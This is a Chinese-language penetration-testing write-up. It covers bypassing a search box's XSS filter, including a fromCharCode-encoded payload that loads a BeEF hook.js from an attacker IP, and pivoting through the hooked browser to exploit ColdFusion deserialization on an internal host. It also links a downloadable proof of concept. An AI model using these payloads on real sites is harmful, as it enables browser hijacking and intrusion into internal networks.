在对某网站进行测试的时候,发现有个搜索框。在排除存在SQL注入后进行XSS测试,这里拿比较常见的payload: <script>alert(1);</script>来测试下,从页面的显示结果来看是存在XSS检测的。那首先要解决的问题就是来绕过这个检测。
在把payload经过一些变形后(主要就是加了些空格),比如这样 < script>alert(1);< /script>,成功弹出对话框,表示绕过成功。既然存在XSS,那利用的方式就不仅限于弹框了,这里就结合著名的beef-xss框架来对内网进行一次有趣的实验。
先在kali下开启beef:
可以看到需要引用hook.js文件,在网站搜索框输入< script src="http://192.168.111.133:3000/hook.js" >< /script>后发现并没有成功,通过查看返回的页面源码发现空格以及等于号都消失了。从这里就可以看出,网站不仅存在xss检测,还会把一些特殊字符过滤掉,这也是为什么在script标签处加了空格后依然能够被正常解析运行的原因了。
既然等于号会被过滤,那就再次对payload变形(没等于号了):< script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 49, 49, 49, 46, 49, 51, 51, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))< /script>,这次终于成功上线了。
在beef-xss框架中,可以发送很多命令给加载了hook.js文件的浏览器来运行。利用这个框架,来对一些处于外网访问不到的内网应用进行攻击有时可以达到意想不到的效果。这里选择要攻击的应用就是ColdFusion 2016 Update 3(最近修复了编号CVE-2017-11283、CVE-2017-11238这两个反序列化漏洞)。要达到攻击效果,这里就使用beef框架来创建一个隐藏的iframe,iframe的url地址所指的文件中就包含了攻击的payload。这里主要是通过XMLHttpRequest来发送一个POST请求,带上攻击的payload发送到ColdFusion的1099端口。
在beef框架中选择Create Invisible Iframe命令后填入可以访问到的URL地址,点击运行后,ColdFusion中的漏洞就被触发,可以看到notepad.exe成功运行,还是system权限。
通过以上实验可以发现,xss威力还是不容小觑,单就拿可以发送POST数据包给内网的应用来说,一些WebLogic、WebSphere、JBoss、Jenkins以及喜闻乐见的Struts2应用都是可以被攻击的,只是限于同源策略的影响,返回结果不太容易获得。
最后附上poc.html (链接: https://pan.baidu.com/s/1bptryNl 密码: 2g2p)